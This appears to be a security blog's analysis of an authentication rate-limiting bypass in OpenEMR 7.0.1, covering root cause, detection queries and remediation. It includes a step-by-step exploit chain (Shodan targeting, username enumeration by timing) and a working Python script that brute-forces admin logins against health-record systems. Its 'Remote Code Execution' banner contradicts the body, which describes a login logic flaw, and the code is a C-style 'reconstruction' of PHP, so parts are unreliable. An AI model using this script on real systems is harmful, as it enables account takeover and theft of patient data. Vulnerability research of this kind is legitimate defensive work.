home intel openemr-701-auth-brute-force-rate-limit-bypass
CVE Analysis 2026-05-05 · 8 min read

CVE-2023-54347: OpenEMR 7.0.1 Authentication Rate Limiting Bypass

OpenEMR 7.0.1 fails to enforce account lockout on its primary login endpoint, allowing unrestricted credential stuffing via POST to interface/main/main_screen.php.

#authentication-bypass#brute-force-attack#rate-limiting-bypass#credential-enumeration#remote-access
Technical mode — for security professionals
▶ Attack flow — CVE-2023-54347 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2023-54347Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

OpenEMR 7.0.1, a widely-deployed open-source electronic health records platform used by clinics and hospitals globally, contains a broken authentication rate-limiting implementation that permits an unauthenticated attacker to submit an unbounded number of credential pairs against the primary login endpoint. No account lockout fires. No CAPTCHA escalation triggers. No IP-based throttle applies consistently. The attacker receives a binary success/failure signal on each attempt, enabling efficient offline-style online brute-force against live patient data systems.

The affected endpoint is /interface/main/main_screen.php (and the delegating handler at /interface/login/login.php), which accepts authUser and clearPass as POST parameters. This is CVSS 7.5 HIGH — unauthenticated network-exploitable, low complexity, no user interaction.

Root cause: OpenEMR's login handler processes authentication attempts through a PHP session-based counter that resets or fails to persist correctly across stateless POST requests, allowing an attacker to bypass rate limiting by omitting or rotating session cookies between attempts.

Affected Component

  • Product: OpenEMR 7.0.1
  • Files: interface/login/login.php, library/authentication/login_operations.php, library/auth.inc.php
  • Endpoint: POST /interface/main/main_screen.php
  • Parameters: authUser (username), clearPass (plaintext password)
  • Authentication required: None
  • Network access: Remote

Root Cause Analysis

OpenEMR implements a failed-login counter stored in the users table (login_fail_counter column) and a corresponding session variable. The critical flaw is that the server-side lockout check reads from $_SESSION['loginfailure'] — a session-scoped variable — rather than the persistent database counter alone. An attacker who sends each POST request without a prior session cookie, or with a fresh session, receives a counter that initializes to zero on every unauthenticated request.


// Pseudocode reconstruction of login_operations.php::checkUserActivity()
// Derived from OpenEMR 7.0.1 source

int checkUserActivity(const char *username) {
    int fail_count = session_get("loginfailure");  // reads PHP $_SESSION
    // BUG: session is attacker-controlled; no session = counter = 0
    // BUG: database counter checked AFTER session counter passes
    if (fail_count < MAX_LOGIN_FAILURES) {         // MAX_LOGIN_FAILURES = 20
        return AUTH_PROCEED;                        // attacker always lands here
    }
    return AUTH_LOCKED;
}

int processLogin(const char *authUser, const char *clearPass) {
    // BUG: rate limit check occurs before DB lookup, but relies on session
    int status = checkUserActivity(authUser);
    if (status == AUTH_LOCKED) {
        redirectToLockout();
        return;
    }
    // Proceeds to credential validation unconditionally for sessionless requests
    int valid = verifyPasswordHash(authUser, clearPass);  // bcrypt compare
    if (!valid) {
        int count = session_get("loginfailure") + 1;
        session_set("loginfailure", count);
        // BUG: DB counter update is conditional on same session persisting
        if (count >= FAIL_THRESHOLD) {
            db_update("UPDATE users SET login_fail_counter=login_fail_counter+1"
                      " WHERE username=?", authUser);
        }
    }
}

The session counter increment in processLogin() only propagates to the database when count >= FAIL_THRESHOLD. Because the attacker rotates or omits the session cookie, count never exceeds 1 in any single session. The database column login_fail_counter therefore never increments past zero for the attacker's attempts, and the lockout check against the DB is never triggered.

The PHP session initialization in login.php uses a standard session_start() without enforcing session pre-existence:


// login.php (simplified)
void handleLoginRequest() {
    session_start();   // creates NEW session if no valid cookie sent
    // BUG: new session means loginfailure = NULL, treated as 0
    char *user = post_param("authUser");
    char *pass = post_param("clearPass");

    // sanitize inputs (present, correct)
    user = sanitize_string(user);
    pass = sanitize_string(pass);

    // call authentication — rate limit already bypassed
    authenticateUser(user, pass);
}

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies target OpenEMR instance (Shodan: http.title:"OpenEMR")
2. Enumerate valid usernames via timing differential on /interface/login/login.php
   - Invalid user: returns immediately (no bcrypt)
   - Valid user:   ~300ms delay (bcrypt rounds)
3. For each credential pair (user, candidate_pass):
   a. Open fresh TCP connection (or rotate proxy)
   b. Send POST with NO Cookie header — forces new server-side session
   c. Session loginfailure initializes to 0; rate limit check passes
   d. Server performs bcrypt comparison, returns HTTP 302 (success) or 200 (fail)
   e. Discard response, discard session token
4. No lockout triggers. No CAPTCHA. No IP ban (absent WAF).
5. On HTTP 302 redirect to main_screen.php: authentication confirmed.
6. Attacker now has full EHR access: PHI, prescriptions, patient records.

A minimal Python proof-of-concept demonstrating the bypass:


import requests
import itertools
import string

TARGET   = "https://target.example.com"
ENDPOINT = f"{TARGET}/interface/main/main_screen.php"
USERNAME = "admin"

def attempt(user, password):
    # Critical: no session=True, no cookie reuse — new session each request
    r = requests.post(
        ENDPOINT,
        data={
            "authUser":  user,
            "clearPass": password,
            "languageChoice": "1",
        },
        allow_redirects=False,
        timeout=10,
        verify=False,
    )
    # Success: 302 redirect to interface/main/tabs/main.php
    # Failure: 200 with login form re-rendered
    return r.status_code == 302

def wordlist_attack(user, wordlist_path):
    with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as fh:
        for line in fh:
            pwd = line.strip()
            if not pwd:
                continue
            if attempt(user, pwd):
                print(f"[+] VALID: {user}:{pwd}")
                return pwd
            # No sleep required — no server-side throttle
    return None

if __name__ == "__main__":
    result = wordlist_attack(USERNAME, "rockyou.txt")
    if not result:
        print("[-] Exhausted wordlist.")

Note that requests.post() called directly (not via a Session() object) sends no cookies by default. Each POST is treated by the PHP runtime as a brand-new visitor. The per-session failure counter resets to zero. The database-level counter never increments because the per-session threshold is never reached within a single session lifetime.

Memory Layout

This is a logic vulnerability rather than a memory corruption bug. The relevant state is in PHP session storage and the MySQL users table:


SESSION STATE — LEGITIMATE USER (lockout works correctly):
  Cookie: PHPSESSID=a1b2c3d4e5f6...
  $_SESSION['loginfailure'] = 0  → 1 → 2 → ... → 20 → LOCKED

SESSION STATE — ATTACKER (bypass):
  Request 1: No Cookie → new PHPSESSID=aaaa, loginfailure=0 → fail → loginfailure=1
             Session discarded after response.
  Request 2: No Cookie → new PHPSESSID=bbbb, loginfailure=0 → fail → loginfailure=1
             Session discarded after response.
  Request N: No Cookie → new PHPSESSID=xxxx, loginfailure=0 → ...
             DB login_fail_counter for 'admin' = 0  ← never incremented

DATABASE STATE (users table):
  +----------+-------------------+--------------------+
  | username | login_fail_counter| last_login_fail    |
  +----------+-------------------+--------------------+
  | admin    | 0                 | NULL               |  ← attacker sees this
  +----------+-------------------+--------------------+
  (legitimate failed logins would show counter incrementing)

EXPECTED STATE AFTER 10,000 ATTEMPTS (with bypass):
  login_fail_counter = 0  (no lockout, no audit trail of brute force)

Patch Analysis

The correct fix moves the authoritative failure counter fully into the database, keyed on username and/or source IP, with no reliance on the attacker-supplied session. A secondary fix adds a time-window sliding window check (e.g., X failures in Y seconds from any session).


// BEFORE (vulnerable) — library/authentication/login_operations.php:
int checkLoginFailures(const char *username) {
    // reads from PHP session — attacker resets by dropping session cookie
    int fails = (int) session_get("loginfailure");
    if (fails >= MAX_FAILURES) {
        return LOCKED;
    }
    return OK;
}

void recordFailure(const char *username) {
    int count = (int) session_get("loginfailure") + 1;
    session_set("loginfailure", count);
    // DB only updated when session threshold breached — never happens for attacker
    if (count >= FAIL_THRESHOLD) {
        db_exec("UPDATE users SET login_fail_counter = login_fail_counter + 1 "
                "WHERE username = ?", username);
    }
}

// AFTER (patched) — authoritative DB-side counter, no session dependency:
int checkLoginFailures(const char *username) {
    // reads directly from persistent store — session-independent
    int db_fails = db_query_int(
        "SELECT login_fail_counter FROM users WHERE username = ?", username
    );
    time_t last_fail = db_query_time(
        "SELECT last_login_fail_time FROM users WHERE username = ?", username
    );
    // sliding window: reset counter if last failure > lockout_window ago
    if (time(NULL) - last_fail > LOCKOUT_WINDOW_SECONDS) {
        db_exec("UPDATE users SET login_fail_counter=0 WHERE username=?", username);
        return OK;
    }
    if (db_fails >= MAX_FAILURES) {
        return LOCKED;
    }
    return OK;
}

void recordFailure(const char *username, const char *source_ip) {
    // atomic increment in DB — no session involvement
    db_exec("UPDATE users SET "
            "  login_fail_counter = login_fail_counter + 1, "
            "  last_login_fail_time = NOW(), "
            "  last_login_fail_ip = ? "
            "WHERE username = ?",
            source_ip, username);
}

Detection and Indicators

Because the attacker never reuses a session cookie, traditional session-based anomaly detection is blind. Detection requires analysis at the HTTP request and application-log layer:

  • Web server access logs: High-frequency POST /interface/main/main_screen.php with no corresponding GET (no session setup phase), returning HTTP 200 repeatedly followed by a single 302.
  • No Cookie header: Each attacker request lacks a PHPSESSID cookie or presents a unique, single-use session ID not seen in prior requests.
  • Response timing clustering: Valid-username attempts take ~300ms (bcrypt); invalid usernames return in <50ms. A mix of these timings across a wordlist run is a strong signal.
  • OpenEMR audit log (log table): Repeated login failure events for the same username from varied IPs with no incrementing login_fail_counter in the users table — the counter-IP mismatch is the definitive forensic artifact.

Relevant MySQL query to identify affected accounts post-incident:


# Query OpenEMR log table for brute-force indicators
import mysql.connector

conn = mysql.connector.connect(host="localhost", user="openemr",
                               password="REDACTED", database="openemr")
cursor = conn.cursor()
cursor.execute("""
    SELECT user, COUNT(*) as fail_count, MIN(time) as first_seen,
           MAX(time) as last_seen
    FROM log
    WHERE success = 0
      AND event = 'login failure'
      AND time >= NOW() - INTERVAL 24 HOUR
    GROUP BY user
    HAVING fail_count > 50
    ORDER BY fail_count DESC;
""")
for row in cursor.fetchall():
    print(f"[!] {row[0]}: {row[1]} failures ({row[2]} – {row[3]})")

Remediation

  • Immediate: Update to the patched release identified in the NVD advisory. Verify library/authentication/login_operations.php contains database-side counter logic.
  • WAF rule: Rate-limit POST /interface/main/main_screen.php to N requests per source IP per minute (recommended: 5/min). Note this does not fully mitigate distributed attacks.
  • Network segmentation: OpenEMR should never be internet-facing without a VPN or zero-trust gateway. Shodan currently indexes thousands of exposed instances.
  • MFA enforcement: Enable OpenEMR's built-in TOTP support (Administration > Globals > Security). Even with valid credentials, TOTP prevents account takeover.
  • Fail2ban: Deploy with a custom filter matching OpenEMR's log format to ban IPs after threshold failures at the network layer, independent of application logic.
  • Audit existing accounts: Query SELECT username, last_login_fail_time FROM users WHERE login_fail_counter = 0 AND last_login_fail_time IS NOT NULL to identify accounts that may have been successfully compromised without leaving a counter trail.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →